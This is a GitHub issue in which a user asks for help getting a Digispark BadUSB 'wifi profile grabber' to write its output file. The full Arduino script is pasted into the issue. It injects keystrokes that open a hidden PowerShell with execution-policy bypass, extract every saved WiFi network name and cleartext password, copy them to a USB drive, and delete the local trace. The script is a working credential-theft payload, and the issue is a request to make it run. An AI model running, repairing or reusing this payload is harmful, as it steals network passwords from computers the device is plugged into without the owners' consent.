Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wifi profile grabber dosent create a file . #70

Open
noonessenpa1 opened this issue Mar 4, 2022 · 1 comment
Open

Wifi profile grabber dosent create a file . #70

noonessenpa1 opened this issue Mar 4, 2022 · 1 comment

Comments

@noonessenpa1
Copy link

I've been trying to get some of your scripts working on my new digispark, and i cant get the wifi profile grabber to work, it just dosent create any file whatsoever on any drive.
im using this script exactly, my usb is called MYUSB

`#include "DigiKeyboard.h"
void setup() {
}

void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\windows\temp\temp.csv; cp c:\windows\temp\temp.csv -destination $((gwmi -Query \"Select * from Win32_LogicalDisk where VolumeName=MYUSB).DeviceID); ri c:\windows\temp\temp.csv -force"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}`

@noonessenpa1
Copy link
Author

noonessenpa1 commented Mar 4, 2022

btw cmd vol cammand spits out:
f: Volume in drive F is MYUSB

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant